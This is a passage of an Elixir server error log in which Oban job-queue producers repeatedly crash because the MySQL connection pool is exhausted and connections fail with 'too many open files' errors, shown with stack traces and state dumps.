    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-06 00:37:25.240756Z], limit: 20, uuid: "df70f14d-41bd-4b9c-8cc6-c1f4a92a97a9", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:37:25.240761Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.207863>, refresh_timer: #Reference<0.2525715032.1099431938.64510>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:37:37.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1092ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-06 00:37:25.240527Z], limit: 50, uuid: "ec9a2d97-bc5c-4935-bc4a-d34dca43c79e", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:37:25.240533Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.207866>, refresh_timer: #Reference<0.2525715032.1099431938.64500>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:37:37.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1092ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-06 00:37:25.239565Z], limit: 5, uuid: "9c05b567-9fcf-4c11-80fa-aecef5b73c9f", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:37:25.239571Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.207865>, refresh_timer: #Reference<0.2525715032.1099431938.64487>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:37:37.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1042ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-06 00:37:25.241924Z], limit: 5, uuid: "e0b88539-3d00-479f-a3dd-57a6e3397e38", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:37:25.241930Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.207861>, refresh_timer: #Reference<0.2525715032.1121189889.207854>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:37:37.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 860ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-06 00:37:25.239448Z], limit: 3, uuid: "3716221f-a2d5-433f-91d8-2016a9ccacf9", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:37:25.239454Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.207862>, refresh_timer: #Reference<0.2525715032.1121189889.207826>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:37:37.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1024ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-06 00:37:25.237677Z], limit: 10, uuid: "ab186705-1e54-4385-93a6-dab6b2926967", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:37:25.237684Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.207864>, refresh_timer: #Reference<0.2525715032.1099431938.64476>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:37:38.169000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.585.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:37:42.535000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.592.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:37:47.341000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.587.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:37:47.417000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.593.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:37:47.626000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.591.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:37:50.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 2002ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-06 00:37:37.240545Z], limit: 50, uuid: "cb7faac0-29e7-4e75-afb5-40bdebcd27a8", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:37:37.240550Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.208318>, refresh_timer: #Reference<0.2525715032.1121189889.208263>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:37:50.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 2033ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-06 00:37:37.240986Z], limit: 10, uuid: "eef9b495-9d41-40d3-803b-ba460b0d1e84", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:37:37.240990Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.208317>, refresh_timer: #Reference<0.2525715032.1121189889.208290>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:37:50.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 2028ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-06 00:37:37.240763Z], limit: 5, uuid: "50c3f177-de42-42d8-89d4-fe1a8da74e92", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:37:37.240769Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.208321>, refresh_timer: #Reference<0.2525715032.1068498948.67845>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:37:50.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 2063ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
